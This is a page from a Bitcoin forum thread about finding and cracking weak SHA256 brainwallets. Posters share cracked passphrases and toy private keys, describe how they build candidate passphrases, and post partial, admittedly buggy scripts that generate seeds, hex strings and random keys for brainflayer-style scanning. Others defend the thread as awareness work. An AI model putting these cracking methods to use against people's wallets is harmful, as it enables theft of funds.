Bitcoin Forum
February 23, 2019, 06:27:26 PM *
News: Latest Bitcoin Core release: 0.17.1 [Torrent]
 
   Home   Help Search Login Register More  
Pages: « 1 2 3 [4] 5 »  All
  Print  
Author Topic: Collection of 18.509 found and used Brainwallets  (Read 3762 times)
odolvlobo
Legendary
*
Offline Offline

Activity: 2408
Merit: 1231



View Profile
November 18, 2018, 09:31:09 PM
 #61

I'm doing a writeup on why SHA256 brainwallets are bad, and I'm working on a list of particularly bad passphrase choices:
...
Any other suggestions?

The standard brain wallet is generated by hashing a passphrase with SHA-256, but I wonder if there are private keys generated by using other hashes. Running a your search-space through RIPEMD-160 followed by one or more SHA-256 passes might generate some hits. I have no doubts that running your search-space through scrypt will generate some hits on Litecoin and its derivatives.

Buy bitcoins with cash from somebody near you: LocalBitcoins
Buy stuff on Amazon at a discount with bitcoins or convert Amazon points to bitcoins: Purse.io
Join an anti-signature campaign: DannyHamilton's ignore list
1550946446
Hero Member
*
Offline Offline

Posts: 1550946446

View Profile Personal Message (Offline)

Ignore
1550946446
Reply with quote  #2

1550946446
Report to moderator
1550946446
Hero Member
*
Offline Offline

Posts: 1550946446

View Profile Personal Message (Offline)

Ignore
1550946446
Reply with quote  #2

1550946446
Report to moderator
1550946446
Hero Member
*
Offline Offline

Posts: 1550946446

View Profile Personal Message (Offline)

Ignore
1550946446
Reply with quote  #2

1550946446
Report to moderator
Your Bitcoin transactions
The Ultimate Bitcoin mixer
made truly anonymous.
with an advanced technology.
Mix coins
Advertised sites are not endorsed by the Bitcoin Forum. They may be unsafe, untrustworthy, or illegal in your jurisdiction. Advertise here.
1550946446
Hero Member
*
Offline Offline

Posts: 1550946446

View Profile Personal Message (Offline)

Ignore
1550946446
Reply with quote  #2

1550946446
Report to moderator
almightyruler
Legendary
*
Offline Offline

Activity: 1848
Merit: 1024


View Profile
November 19, 2018, 08:29:34 PM
 #62

The standard brain wallet is generated by hashing a passphrase with SHA-256, but I wonder if there are private keys generated by using other hashes. Running a your search-space through RIPEMD-160 followed by one or more SHA-256 passes might generate some hits. I have no doubts that running your search-space through scrypt will generate some hits on Litecoin and its derivatives.

I did do some basic testing using the default hash suite available in a standard PHP install. From memory, I found a few hits for key = sha256(md5(string)) hashes.
almightyruler
Legendary
*
Offline Offline

Activity: 1848
Merit: 1024


View Profile
December 30, 2018, 05:17:43 PM
 #63

My system is still finding the occasional SHA256 brainwallet. This wallet stands out because it held 1.7 BTC for nearly 4 years, until being emptied in February 2018:

https://www.blockchain.com/btc/address/00790d4c5ec89c0e30e1343a2eafc901ee136e9b

The equivalent balance on the Bitcoin Cash chain was also transferred out.

A substantial amount to have sitting in a SHA256 brainwallet through the bubble of 2017/2018. Hopefully the transfer was done by the rightful owner. Maybe cashing out as the downward spiral started?

The passphrase is "Thats what she said 1974"

odolvlobo
Legendary
*
Offline Offline

Activity: 2408
Merit: 1231



View Profile
December 31, 2018, 12:06:14 AM
 #64

The passphrase is "Thats what she said 1974"

I'm curious about how you came up with that phrase. Are you going through permutations of dictionary words (and years) or do you have a database of phrases and quotes, or something else?

Buy bitcoins with cash from somebody near you: LocalBitcoins
Buy stuff on Amazon at a discount with bitcoins or convert Amazon points to bitcoins: Purse.io
Join an anti-signature campaign: DannyHamilton's ignore list
almightyruler
Legendary
*
Offline Offline

Activity: 1848
Merit: 1024


View Profile
January 01, 2019, 05:25:36 AM
 #65

The passphrase is "Thats what she said 1974"

I'm curious about how you came up with that phrase. Are you going through permutations of dictionary words (and years) or do you have a database of phrases and quotes, or something else?

I've come up with various methods to generate candidate passphrases. In this instance, it was prepending and/or appending common password substrings such as "qwerty", "1234", years etc to a set of common phrases. Basically building all possible phrases from the contents of two distinct dictionaries.
HeRetiK
Hero Member
*****
Offline Offline

Activity: 1022
Merit: 956


the forkings will continue until morale improves


View Profile
January 01, 2019, 10:51:33 AM
 #66

My system is still finding the occasional SHA256 brainwallet. This wallet stands out because it held 1.7 BTC for nearly 4 years, until being emptied in February 2018:

https://www.blockchain.com/btc/address/00790d4c5ec89c0e30e1343a2eafc901ee136e9b

The equivalent balance on the Bitcoin Cash chain was also transferred out.

A substantial amount to have sitting in a SHA256 brainwallet through the bubble of 2017/2018. Hopefully the transfer was done by the rightful owner. Maybe cashing out as the downward spiral started?

The passphrase is "Thats what she said 1974"

It's pretty much a miracle that a passphrase like this went untouched for nearly 4 years.

Looking at how both the BTC and the BCH transaction where made in parallel within minutes, forwarding the coins to identical addresses on both chains, I get a feeling that automation may have been in play though -- the kind of automation that scans for brainwallets and steals them, unfortunately.

almightyruler
Legendary
*
Offline Offline

Activity: 1848
Merit: 1024


View Profile
January 28, 2019, 03:28:31 PM
Merited by o_e_l_e_o (1)
 #67

Another odd one which was swept last month:

https://www.blockchain.com/btc/address/45990fb9a0434d35607320d7b501938ea70f01c4

The password is the ultra-simple dictionary word "turn", so it's not surprising that it was stolen within minutes, however, 0.02854667 BTC is not exactly an amount you'd send just for fun. Perhaps it was someone new to BTC, who bought $100 worth, then withdrew to a "password protected" wallet without understanding what that meant.

Local wallet protected with password "turn" -> Despite password being incredibly weak, funds are still fairly secure.

SHA256 brainwallet protected with password "turn" -> Gone in 60 seconds.
o_e_l_e_o
Sr. Member
****
Offline Offline

Activity: 476
Merit: 1340



View Profile
January 28, 2019, 03:43:12 PM
 #68

The password is the ultra-simple dictionary word "turn", so it's not surprising that it was stolen within minutes
Interesting that "turn" is one of the 2048 BIP39 words. Wonder if someone got hopelessly confused between passwords and mnemonic seeds? Or if it's just really bad security and purely a coincidence?

Have you checked all the other BIP39 words at any point? Is there a pattern at all?

almightyruler
Legendary
*
Offline Offline

Activity: 1848
Merit: 1024


View Profile
January 29, 2019, 12:13:02 AM
Merited by ETFbitcoin (1)
 #69

The password is the ultra-simple dictionary word "turn", so it's not surprising that it was stolen within minutes
Interesting that "turn" is one of the 2048 BIP39 words. Wonder if someone got hopelessly confused between passwords and mnemonic seeds? Or if it's just really bad security and purely a coincidence?

Have you checked all the other BIP39 words at any point? Is there a pattern at all?

I have specifically checked BIP39, but since they're so simple the words are also covered by other databases, such as dictionary (web words, wikipedia words) and also 5 letter combos.

I personally think that someone misunderstood the difference between (local) wallet passwords, and SHA256 passwords, but we'll probably never know. It's a pity we can only speculate.

This is the only dictionary word I can recall that's had an appreciable amount sent to it. Everything else is just dust.
almightyruler
Legendary
*
Offline Offline

Activity: 1848
Merit: 1024


View Profile
January 29, 2019, 12:18:51 AM
 #70

I personally think that someone misunderstood the difference between (local) wallet passwords, and SHA256 passwords [...]

This is the only dictionary word I can recall that's had an appreciable amount sent to it. Everything else is just dust.

Hmm, maybe not. I've just found another $100(ish) transaction, and given that it was sent to the "toy" key 23 hex, it seems to be deliberate.

https://www.blockchain.com/btc/address/82e2f248afe732a2e5973600ca97a61fe3d240fd

Private key: 0000000000000000000000000000000000000000000000000000000000000023

Swept immediately, of course.

Another toy key (0000000000000000000000000000000000000000000000000000000000000d56) with not insignificant amounts recently sent to it: https://www.blockchain.com/btc/address/da681e4e2cd40b6ba6b1f6b4844b10219c7204b5
MagicByt3
Member
**
Offline Offline

Activity: 168
Merit: 82


View Profile
February 06, 2019, 12:11:02 PM
Merited by bones261 (4), vapourminer (3)
 #71

I have been running some scans like this I grabbed about 2TB of word lists for brain wallet hunting.

At the moment it is currently syncing up with bitcoin-abe into mysql database (taking forever)

I wrote a small python script to create seeds that can be piped into a seed checker as such.

Code:
import random

filename = "YourWordList.txt"

def main(filename):
    words_file = open(filename, 'r')
    words = words_file.read().split("\n")
    temp_words = []
    for word in words:
        temp_words.append(word.strip("\r"))
    words = temp_words

    while True:
        length = int(raw_input("12:"))
        for i in range(0,length):
            print(words[random.randrange(0,len(words)+1)]),
        print("\n")


if __name__ == "__main__":
    main(filename)

Still buggy welcome any adaptation  Wink

Code:

Output
12:12
twist flush ranch screen yard film option walk stuff sick maximum stumble

12:12
ill banner replace snack athlete wage patient right sell bicycle meadow weekend

12:12
knock include learn fruit video drama sort crunch cost people undo inherit

12:12
close symbol either voyage cool life obtain enemy valve process consider project

12:12
fish tube lunar among adjust inch transfer slight evil tell apology negative

12:12
host century basket drift scatter raven job carbon excite gym biology hospital

12:12
soup verify mouse whisper weather resource upon  lens slim consider celery

12:12
farm gold useless area renew settle until soap rent attract unique ceiling

12:12
code stage dad two brick clock gospel voice easily impose grunt cry

12:12
roast garment board wise fabric bus bundle idea street asthma horse language


I have also been piping in random text like such

Code:
1xjPr0ta5PsTrKTlETa3
ay9RDUrEhjdkNX6ynm8V
GsAupTvPwo3t0875dsBF
LCHaTQYseeu833Wrs3eu
53fCknZ7XGn2CSpDhLVV
jX8Tex8rafMjEsQTmY9S
yuOEOXF0JzYc0TmB4R36
MolQV7IKX15RSSo4s7OM
ZoKMjxUvV5QwTL8ZdCRo
9YLZNaUklLxx6rCwyQKg
lekYEIMpEhkPlnFw32bk
W7meYuwMyrJtnsL3biLH
8z1FKk39xpPtzzLmtdeQ

No results yet from random data.

From text word lists I have found around 500+ empty brain wallets so far most of which have already been published in the list.

I have been collecting hash160 addresses from the blockchain and have them in a bloom filter searching against the word list but still no results with a small sample space of hash160 at the moment.

I have also been testing with random hex being pushed to the brain wallet.

Code:
//using namespace std;
int main(int argc, char *argv[]) {
 srand(time(NULL));
 bool risky_mode = false;
 bool even_only = false;
 bool odd_only = false;
 bool output_random = false;
 bool use_lower = false;
 bool use_upper = false;
 bool use_len_8 = false;
 bool use_len_9 = false;
 bool no_0 = false;
 bool no_1 = false;
 int desired_uniques = 0;
 int min_uniques = 6; // 94.6% chance of having 6 to 9 uniques
 int max_uniques = 9;
 int min_numbers = 4; // 94.02% chance of having 4 to 8 numbers
 int max_numbers = 8;
 int min_letters = 2; // 94.02% chance of having 2 to 6 letters
 int max_letters = 6;
 bool negate_sequential = true; // 89.8% chance of not having any 3 consecutive sequential chars (123) or reverse sequential chars (321)
 int differential = 0;
 int slot1_start_at = 0;
 int slot1_stop_at = 0;
 bool starts_with_letter = false;
 bool make_next_start_at = false;
 bool make_next_stop_at = false;
 int make_next_start_at_cnt = 0;
 int make_next_stop_at_cnt = 0;
 unsigned long long int start_at_long = 0;
 unsigned long long int stop_at_long = 0;
 if (argc > 1) {
  for (int i=1;i<argc;++i) {
   if (stricmp(argv[i], "-risky") == 0) { risky_mode = true; }
   if (stricmp(argv[i], "-evenonly") == 0) { even_only = true; }
   if (stricmp(argv[i], "-oddonly") == 0) { odd_only = true; }
   if (stricmp(argv[i], "-random") == 0) { output_random = true; }
   if (stricmp(argv[i], "-lower") == 0) { use_lower = true; }
   if (stricmp(argv[i], "-upper") == 0) { use_upper = true; }
   if (stricmp(argv[i], "-len8") == 0) { use_len_8 = true; }
   if (stricmp(argv[i], "-len9") == 0) { use_len_9 = true; }
   if (stricmp(argv[i], "-no0") == 0) { no_0 = true; }
   if (stricmp(argv[i], "-no1") == 0) { no_1 = true; }
   if (stricmp(argv[i], "-no01") == 0) { no_0 = true; no_1 = true; }
   if (stricmp(argv[i], "-no10") == 0) { no_0 = true; no_1 = true; }
   if (stricmp(argv[i], "-1unique") == 0) { desired_uniques = min_uniques = max_uniques = 1; }
   if (stricmp(argv[i], "-2uniques") == 0) { desired_uniques = min_uniques = max_uniques = 2; }
   if (stricmp(argv[i], "-3uniques") == 0) { desired_uniques = min_uniques = max_uniques = 3; }
   if (stricmp(argv[i], "-4uniques") == 0) { desired_uniques = min_uniques = max_uniques = 4; }
   if (stricmp(argv[i], "-5uniques") == 0) { desired_uniques = min_uniques = max_uniques = 5; }
   if (stricmp(argv[i], "-6uniques") == 0) { desired_uniques = min_uniques = max_uniques = 6; }
   if (stricmp(argv[i], "-7uniques") == 0) { desired_uniques = min_uniques = max_uniques = 7; }
   if (stricmp(argv[i], "-8uniques") == 0) { desired_uniques = min_uniques = max_uniques = 8; }
   if (stricmp(argv[i], "-9uniques") == 0) { desired_uniques = min_uniques = max_uniques = 9; }
   if (stricmp(argv[i], "-10uniques") == 0) { desired_uniques = min_uniques = max_uniques = 10; }
   if (stricmp(argv[i], "-1minunique") == 0) { min_uniques = 1; }  if (stricmp(argv[i], "-minunique1") == 0) { min_uniques = 1; }  if (stricmp(argv[i], "-min1unique") == 0) { min_uniques = 1; }
   if (stricmp(argv[i], "-2minuniques") == 0) { min_uniques = 2; } if (stricmp(argv[i], "-minuniques2") == 0) { min_uniques = 2; } if (stricmp(argv[i], "-min2uniques") == 0) { min_uniques = 2; }
   if (stricmp(argv[i], "-3minuniques") == 0) { min_uniques = 3; } if (stricmp(argv[i], "-minuniques3") == 0) { min_uniques = 3; } if (stricmp(argv[i], "-min3uniques") == 0) { min_uniques = 3; }
   if (stricmp(argv[i], "-4minuniques") == 0) { min_uniques = 4; } if (stricmp(argv[i], "-minuniques4") == 0) { min_uniques = 4; } if (stricmp(argv[i], "-min4uniques") == 0) { min_uniques = 4; }
   if (stricmp(argv[i], "-5minuniques") == 0) { min_uniques = 5; } if (stricmp(argv[i], "-minuniques5") == 0) { min_uniques = 5; } if (stricmp(argv[i], "-min5uniques") == 0) { min_uniques = 5; }
   if (stricmp(argv[i], "-6minuniques") == 0) { min_uniques = 6; } if (stricmp(argv[i], "-minuniques6") == 0) { min_uniques = 6; } if (stricmp(argv[i], "-min6uniques") == 0) { min_uniques = 6; }
   if (stricmp(argv[i], "-7minuniques") == 0) { min_uniques = 7; } if (stricmp(argv[i], "-minuniques7") == 0) { min_uniques = 7; } if (stricmp(argv[i], "-min7uniques") == 0) { min_uniques = 7; }
   if (stricmp(argv[i], "-8minuniques") == 0) { min_uniques = 8; } if (stricmp(argv[i], "-minuniques8") == 0) { min_uniques = 8; } if (stricmp(argv[i], "-min8uniques") == 0) { min_uniques = 8; }
   if (stricmp(argv[i], "-9minuniques") == 0) { min_uniques = 9; } if (stricmp(argv[i], "-minuniques9") == 0) { min_uniques = 9; } if (stricmp(argv[i], "-min9uniques") == 0) { min_uniques = 9; }
   if (stricmp(argv[i], "-10minuniques") == 0) { min_uniques = 10; } if (stricmp(argv[i], "-minuniques10") == 0) { min_uniques = 10; } if (stricmp(argv[i], "-min10uniques") == 0) { min_uniques = 10; }
   if (stricmp(argv[i], "-1maxunique") == 0) { max_uniques = 1; }  if (stricmp(argv[i], "-maxunique1") == 0) { max_uniques = 1; }  if (stricmp(argv[i], "-max1unique") == 0) { max_uniques = 1; }
   if (stricmp(argv[i], "-2maxuniques") == 0) { max_uniques = 2; } if (stricmp(argv[i], "-maxuniques2") == 0) { max_uniques = 2; } if (stricmp(argv[i], "-max2uniques") == 0) { max_uniques = 2; }
   if (stricmp(argv[i], "-3maxuniques") == 0) { max_uniques = 3; } if (stricmp(argv[i], "-maxuniques3") == 0) { max_uniques = 3; } if (stricmp(argv[i], "-max3uniques") == 0) { max_uniques = 3; }
   if (stricmp(argv[i], "-4maxuniques") == 0) { max_uniques = 4; } if (stricmp(argv[i], "-maxuniques4") == 0) { max_uniques = 4; } if (stricmp(argv[i], "-max4uniques") == 0) { max_uniques = 4; }
   if (stricmp(argv[i], "-5maxuniques") == 0) { max_uniques = 5; } if (stricmp(argv[i], "-maxuniques5") == 0) { max_uniques = 5; } if (stricmp(argv[i], "-max5uniques") == 0) { max_uniques = 5; }
   if (stricmp(argv[i], "-6maxuniques") == 0) { max_uniques = 6; } if (stricmp(argv[i], "-maxuniques6") == 0) { max_uniques = 6; } if (stricmp(argv[i], "-max6uniques") == 0) { max_uniques = 6; }
   if (stricmp(argv[i], "-7maxuniques") == 0) { max_uniques = 7; } if (stricmp(argv[i], "-maxuniques7") == 0) { max_uniques = 7; } if (stricmp(argv[i], "-max7uniques") == 0) { max_uniques = 7; }
   if (stricmp(argv[i], "-8maxuniques") == 0) { max_uniques = 8; } if (stricmp(argv[i], "-maxuniques8") == 0) { max_uniques = 8; } if (stricmp(argv[i], "-max8uniques") == 0) { max_uniques = 8; }
   if (stricmp(argv[i], "-9maxuniques") == 0) { max_uniques = 9; } if (stricmp(argv[i], "-maxuniques9") == 0) { max_uniques = 9; } if (stricmp(argv[i], "-max9uniques") == 0) { max_uniques = 9; }
   if (stricmp(argv[i], "-10maxuniques") == 0) { max_uniques = 10; } if (stricmp(argv[i], "-maxuniques10") == 0) { max_uniques = 10; } if (stricmp(argv[i], "-max10uniques") == 0) { max_uniques = 10; }
   if (stricmp(argv[i], "-startswith0") == 0) { slot1_start_at = 0; starts_with_letter = true; }
   if (stricmp(argv[i], "-startswith1") == 0) { slot1_start_at = 1; starts_with_letter = true; }
   if (stricmp(argv[i], "-startswith2") == 0) { slot1_start_at = 2; starts_with_letter = true; }
   if (stricmp(argv[i], "-startswith3") == 0) { slot1_start_at = 3; starts_with_letter = true; }
   if (stricmp(argv[i], "-startswith4") == 0) { slot1_start_at = 4; starts_with_letter = true; }
   if (stricmp(argv[i], "-startswith5") == 0) { slot1_start_at = 5; starts_with_letter = true; }
   if (stricmp(argv[i], "-startswith6") == 0) { slot1_start_at = 6; starts_with_letter = true; }
   if (stricmp(argv[i], "-startswith7") == 0) { slot1_start_at = 7; starts_with_letter = true; }
   if (stricmp(argv[i], "-startswith8") == 0) { slot1_start_at = 8; starts_with_letter = true; }
   if (stricmp(argv[i], "-startswith9") == 0) { slot1_start_at = 9; starts_with_letter = true; }
   if (stricmp(argv[i], "-startswithA") == 0) { slot1_start_at = 10; starts_with_letter = true; }
   if (stricmp(argv[i], "-startswithB") == 0) { slot1_start_at = 11; starts_with_letter = true; }
   if (stricmp(argv[i], "-startswithC") == 0) { slot1_start_at = 12; starts_with_letter = true; }
   if (stricmp(argv[i], "-startswithD") == 0) { slot1_start_at = 13; starts_with_letter = true; }
   if (stricmp(argv[i], "-startswithE") == 0) { slot1_start_at = 14; starts_with_letter = true; }
   if (stricmp(argv[i], "-startswithF") == 0) { slot1_start_at = 15; starts_with_letter = true; }
   if (stricmp(argv[i], "-start") == 0) { make_next_start_at = true; make_next_start_at_cnt = i; }
   if (stricmp(argv[i], "-stop") == 0) { make_next_stop_at = true; make_next_stop_at_cnt = i; }
   if ((make_next_start_at) && (i == (make_next_start_at_cnt+1))) { std::istringstream str_to_num(argv[i]); str_to_num >> start_at_long; if (!str_to_num) {std::cout << "ERROR: start is not a number" << "\n"; return 1;} make_next_start_at = false; }
   if ((make_next_stop_at) && (i == (make_next_stop_at_cnt+1))) { std::istringstream str_to_num(argv[i]); str_to_num >> stop_at_long; if (!str_to_num) {std::cout << "ERROR: stop is not a number" << "\n"; return 1;} make_next_stop_at = false; }
  }
 }

// ---------------------------------------------------
 // Number of combinations (10-length)
 // ---------------------------------------------------
 //  # of combos (10-length) = 1,099,511,627,776 (16^10) (13,194.14 GB)
 //  # of combos (10-length) with rules (6-9 uniques): 564,561,702,612 (51.3%) (6,774.74 GB)
 //  # of combos (10-length) with rules (10 uniques): 18,649,285,466 (1.7%) (223.79 GB)
 //  # of combos (10-length) with rules (09 uniques): 116,641,092,458 (10.6%) (1,399.69 GB)
 //  # of combos (10-length) with rules (08 uniques): 226,271,576,762 (20.6%) (2,715.26 GB)
 //  # of combos (10-length) with rules (07 uniques): 170,561,659,663 (15.5%) (2,046.74 GB)
 //  # of combos (10-length) with rules (06 uniques): 51,087,373,729 (4.6%) (613 GB)
 //  # of combos (10-length) with rules (05 uniques): 5,392,440,877 (0.5%) (64.7 GB)
 //  # of combos (10-length) with rules (04 uniques): 132,844,293 (0.012%) (1.59 GB)

 // ---------------------------------------------------
 // Number of combinations (10-length) (RISKY)
 // ---------------------------------------------------
 //  # of combos (10-length) = 1,099,511,627,776 (16^10) (13,194.14 GB)
 //  # of combos (10-length) with rules (6-9 uniques): 367,647,332,933 (33.4%) (4,411.8 GB)
 //  # of combos (10-length) with rules (10 uniques): 12,010,291,278 (1.1%) (144.1 GB)
 //  # of combos (10-length) with rules (09 uniques): 75,876,130,604 (6.9%) (910.5 GB)
 //  # of combos (10-length) with rules (08 uniques): 147,638,929,917 (13.4%) (1,771.7 GB)
 //  # of combos (10-length) with rules (07 uniques): 111,045,927,794 (10.1%) (1,332.6 GB)
 //  # of combos (10-length) with rules (06 uniques): 33,086,344,618 (3.0%) (397 GB)
 //  # of combos (10-length) with rules (05 uniques): 3,472,496,526 (0.31%) (41.7 GB)
 //  # of combos (10-length) with rules (04 uniques): 85,114,150 (0.008%) (1.02 GB)

instead of creating the lists I am piping the output of the scan direct to the scanner which save on the disk space some what.

I would like to hash some lists of words I have then pipe the input to the scanner what would be the best method of hashing large passwords lists to a specific hash output?

Thanks





 
HeRetiK
Hero Member
*****
Offline Offline

Activity: 1022
Merit: 956


the forkings will continue until morale improves


View Profile
February 06, 2019, 02:43:24 PM
Merited by vapourminer (1), MagicByt3 (1)
 #72

where is admin, mod? Why topics like this can exist?

Security liabilities need to be discussed publicly, otherwise you have no basis for public discourse, awareness and improvement.

Note that this thread is about monitoring and documenting cases of brainwallet thefts, rather than stealing them.

While these thefts are happening regardless of whether threads like this exist, it may prevent some people from generating weak brainwallets and becoming victims themselves.

almightyruler
Legendary
*
Offline Offline

Activity: 1848
Merit: 1024


View Profile
February 06, 2019, 05:48:51 PM
Merited by ETFbitcoin (1)
 #73

so why have to write and post script here? Teach everybody do with him?

I don't think there's really been any great detail discussed in this thread. This is not a plug and play Docker image that any script kiddie can have running in 30 seconds. Although the basic premise is simple, building a system that can efficiently check trillions of potential passphrases against hundreds of millions of active addresses is not a trivial task, and it's become more difficult as the blockchain grows. I've spent many hours developing custom tools, a lot longer than I probably should have, but this is a hobby, not a criminal business.

If I was driven by something besides geeky curiosity I probably never would have bothered. This is unlikely to be profitable for a criminal. It's not 2015 any more.
almightyruler
Legendary
*
Offline Offline

Activity: 1848
Merit: 1024


View Profile
February 06, 2019, 06:13:43 PM
 #74


I wrote a small python script to create seeds that can be piped into a seed checker as such.

Output
12:12
twist flush ranch screen yard film option walk stuff sick maximum stumble
 

Hmm... what's the point of throwing randomly selected word sets at your address checker? The chances of matching a 12 word passphrase are essentially zero.

I think your size calcs may be off a bit, too. I pre-calculated the RMD160 values for all ASCII 1 to 5 character words, and the output is about 0.9TB in size. To increase to 6 characters would result in a file size about 95 times that (about 80TB) and to go up to 7 characters would result in an output of over 7000TB. And consider the amount of time needed to check 135 trillion entries.

That's one of the interesting things about SHA256 brainwallets (so long as you're doing this for fun) : it can be easy to find them, but it's also very, very hard. Smiley
HeRetiK
Hero Member
*****
Offline Offline

Activity: 1022
Merit: 956


the forkings will continue until morale improves


View Profile
February 06, 2019, 10:30:58 PM
 #75

I think your size calcs may be off a bit, too. I pre-calculated the RMD160 values for all ASCII 1 to 5 character words, and the output is about 0.9TB in size. To increase to 6 characters would result in a file size about 95 times that (about 80TB) and to go up to 7 characters would result in an output of over 7000TB. And consider the amount of time needed to check 135 trillion entries.

How long did it take you to generate a rainbow table of this size? I'm just curious about the timescale (so hardware specs for reference would also be nice).

Sorry in case you already mentioned it upthread and I overlooked it.


That's one of the interesting things about SHA256 brainwallets (so long as you're doing this for fun) : it can be easy to find them, but it's also very, very hard. Smiley

Stealing brainwallets is probably still profitable though, as I assume that the running costs are close to nil once you've set up the infrastructure.

almightyruler
Legendary
*
Offline Offline

Activity: 1848
Merit: 1024


View Profile
February 07, 2019, 03:06:14 AM
Merited by vapourminer (1), HeRetiK (1), o_e_l_e_o (1)
 #76

I think your size calcs may be off a bit, too. I pre-calculated the RMD160 values for all ASCII 1 to 5 character words, and the output is about 0.9TB in size. To increase to 6 characters would result in a file size about 95 times that (about 80TB) and to go up to 7 characters would result in an output of over 7000TB. And consider the amount of time needed to check 135 trillion entries.

How long did it take you to generate a rainbow table of this size? I'm just curious about the timescale (so hardware specs for reference would also be nice).

It took something like 3 weeks, on a leased 4 core Xeon server. Sorting and removing duplicates from 1TB+ of raw data presented some challenges.

Note that this table is not indexed in any way, it's just a text file with hashes. I use a custom filter program to check which of those precomputed hashes appear in a given blockchain. To go further and build a database that can watch for known addresses in real time would be quite a bit more complex, and would need a lot more than 0.9TB of disk space.

That's one of the interesting things about SHA256 brainwallets (so long as you're doing this for fun) : it can be easy to find them, but it's also very, very hard. Smiley

Stealing brainwallets is probably still profitable though, as I assume that the running costs are close to nil once you've set up the infrastructure.

I disagree, which is why I qualified my above statement with "so long as you're doing this for fun". Imagine how many things have to go right when someone sends funds to a weak SHA256 brainwallet:

- The thief needs a fast connection with multiple peers so that his bot (hopefully) sees the funding transaction first.
- The thief needs a fast database server that is able to check the outputs of each new transaction, and if any addresses are known, return a private key (or keys), within a very short period of time.
- The thief needs to decide how much of a fee to pay for the sweep transaction, bearing in mind that someone else's bot may choose a higher fee to override the transaction. (This could end up being a race to the bottom.)
- The thief then needs his sweep transaction to be the one that propagates out to the majority of nodes (and more specifically, mining nodes) first.

I've probably missed other factors. This is not the sort of thing you can run on a $5/mo VPS. I don't think it would be worth it, but as I've stated in this thread earlier, maybe it's an ego thing.
Effingham Hoofnagle
Newbie
*
Offline Offline

Activity: 15
Merit: 5


View Profile
February 07, 2019, 03:59:56 AM
Merited by almightyruler (1), o_e_l_e_o (1)
 #77

Seems like a waste of time to use random BIP words, as the seed word generation process involves checks, and many randomly generated combinations will be invalid.

Plus, even with a list of valid word combinations, it's a fools game in terms of odds.
almightyruler
Legendary
*
Offline Offline

Activity: 1848
Merit: 1024


View Profile
February 07, 2019, 05:50:41 AM
Merited by ETFbitcoin (2)
 #78

Plus, even with a list of valid word combinations, it's a fools game in terms of odds.

May as well just generate random private keys then. Smiley

Code:
// output random hex digits as a 256 bit priv key

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/time.h>

uint64_t timeuseconds() {
        struct  timeval thistime;

        gettimeofday(&thistime, NULL);
        return((thistime.tv_sec * 1000000) + (thistime.tv_usec % 1000000));
}

int main() {

        int i;

        srandom(timeuseconds() );

        while (1)
        {
                for (i = 0; i < 16; i++)
                {
                        printf("%04lx", random() & 0xffff);
                }
                printf("\n");
        }
}

Although this program seems silly, it was done for a purpose: to check the false positive rate of brainflayer.
MagicByt3
Member
**
Offline Offline

Activity: 168
Merit: 82


View Profile
February 07, 2019, 12:20:07 PM
Last edit: February 07, 2019, 01:09:56 PM by MagicByt3
Merited by vapourminer (2), bones261 (1), o_e_l_e_o (1)
 #79

Seems like a waste of time to use random BIP words, as the seed word generation process involves checks, and many randomly generated combinations will be invalid.

Plus, even with a list of valid word combinations, it's a fools game in terms of odds.


That may be the case but what about weak seeds I also think the use of the script below might be helpful?


Hmm... what's the point of throwing randomly selected word sets at your address checker? The chances of matching a 12 word passphrase are essentially zero.

I think your size calcs may be off a bit, too. I pre-calculated the RMD160 values for all ASCII 1 to 5 character words, and the output is about 0.9TB in size. To increase to 6 characters would result in a file size about 95 times that (about 80TB) and to go up to 7 characters would result in an output of over 7000TB. And consider the amount of time needed to check 135 trillion entries.

That's one of the interesting things about SHA256 brainwallets (so long as you're doing this for fun) : it can be easy to find them, but it's also very, very hard. Smiley

As for the tables sizes I think they are about right to be honest they are not hash160's they are raw hex combinations see below I have tested on the smaller value ones at the come out pretty close to the figures quoted.  So the DB for this type of data is vast.  

I am currently at around block 259090 of importing all the transactions into mysql database ( Currently 3 days reading from blk files)

Code:
Combination data from 10Hex  ./10hex | brainflayer -v -b example.blf

https://github.com/wpatoolkit/10-Hex-Generator

010316ead1
010316ead2
010316ead3
010316ead4
010316ead5
010316ead6
010316ead7
010316ead8
010316ead9
010316eada
010316eadb
010316eadc
010316eadd
010316eade
010316eadf
010316eae0
010316eae1
010316eae2
010316eae3
010316eae4
010316eae5
010316eae6
010316eae7
010316eae8
010316eae9
010316eaea
010316eaeb
010316eaec
010316eaed
010316eaee
010316eaef
010316eaf0
010316eaf1
010316eaf2
010316eaf3
010316eaf4
010316eaf5
010316eaf6
010316eaf7
010316eaf8
010316eaf9
010316eafa
010316eafb
010316eafc
010316eafd
010316eafe
010316eaff
010316eb01
010316eb02
010316eb03
010316eb04
010316eb05
010316eb06
010316eb07
010316eb08
010316eb09
010316eb0a
010316eb0b
010316eb0c
010316eb0d
010316eb0e
010316eb0f
010316eb10


after setting up ABE it is far quicker at checking against the database for balance than my previous method of API calls to Blockchain.com

Code:
def mn_encode( message ):
    out = []
    for i in range(len(message)/8):
        word = message[8*i:8*i+8]
        x = int(word, 16)
        w1 = (x%n)
        w2 = ((x/n) + w1)%n
        w3 = ((x/n/n) + w2)%n
        out += [ words[w1], words[w2], words[w3] ]
    return out

def mn_decode( wlist ):
    out = ''
    for i in range(len(wlist)/3):
        word1, word2, word3 = wlist[3*i:3*i+3]
        w1 =  words.index(word1)
        w2 = (words.index(word2))%n
        w3 = (words.index(word3))%n
        x = w1 +n*((w2-w1)%n) +n*n*((w3-w2)%n)
        out += '%08x'%x
    return out

def stretch_key(seed):
    oldseed = seed
    for i in range(100000):
        seed = hashlib.sha256(seed + oldseed).digest()
        return string_to_number( seed )

def mpk_from_seed(seed):
    curve = SECP256k1
    secexp = stretch_key(seed)
    master_private_key = ecdsa.SigningKey.from_secret_exponent( secexp, curve = SECP256k1 )
    master_public_key = master_private_key.get_verifying_key().to_string().encode('hex')
    return master_public_key


class Account(object):
    def __init__(self, v):
        self.addresses = v.get('0', [])
        self.change = v.get('1', [])

    def dump(self):
        return {'0':self.addresses, '1':self.change}

    def get_addresses(self, for_change):
        return self.change[:] if for_change else self.addresses[:]

    def create_new_address(self, for_change):
        addresses = self.change if for_change else self.addresses
        n = len(addresses)
        address = self.get_address( for_change, n)
        addresses.append(address)
        return address

    def get_address(self, for_change, n):
        pass
        
    def get_pubkeys(self, sequence):
        return [ self.get_pubkey( *sequence )]
class OldAccount(Account):
    """  Privatekey(type,n) = Master_private_key + H(n|S|type)  """

    def __init__(self, v):
        self.addresses = v.get(0, [])
